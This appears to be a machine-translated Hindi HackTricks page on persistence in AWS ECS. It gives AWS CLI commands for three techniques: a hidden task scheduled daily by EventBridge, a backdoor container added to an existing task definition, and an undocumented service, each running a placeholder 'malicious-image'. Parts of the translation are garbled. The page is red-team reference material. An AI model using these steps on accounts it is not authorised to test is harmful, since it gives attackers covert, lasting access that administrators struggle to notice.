AWS - ECS Persistence

हैकट्रिक्स का समर्थन करें

ECS

अधिक जानकारी के लिए देखें:

AWS - ECS Enum

छिपी हुई आवधिक ECS टास्क

करने के लिए: परीक्षण

एक हमलावर एक छिपी हुई आवधिक ECS टास्क बना सकता है जिसका उपयोग अमेज़न इवेंटब्रिज का उपयोग करके नियमित अंतराल पर एक दुरुपयोगी टास्क का कार्यान्वयन निर्धारित करने के लिए कर सकता है। यह टास्क पूर्वावलोकन कर सकता है, डेटा को बाहर ले जा सकता है, या AWS खाते में स्थिरता बनाए रख सकता है।

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'

मौजूदा ECS Task Definition में बैकडोर कंटेनर

कार्य

एक हमलावर मौजूदा ECS टास्क परिभाषा में एक छिपकली बैकडोर कंटेनर जोड़ सकता है जो कानूनी कंटेनर के साथ चलता है। बैकडोर कंटेनर को स्थिरता के लिए और दुर्भाग्यपूर्ण गतिविधियों करने के लिए उपयोग किया जा सकता है।

# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'

अनसंदर्भित ECS सेवा

कार्य: परीक्षण

एक हमलावर एक अनसंदर्भित ECS सेवा बना सकता है जो एक हानिकारक कार्य चलाता है। अधिकारियों को हानिकारक सेवा को नोटिस करना मुश्किल हो जाता है जब उन्होंने न्यूनतम टास्क की इच्छित संख्या सेट कर दी हो और लॉगिंग को अक्षम कर दिया हो।

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
हैकट्रिक्स का समर्थन करें

Last updated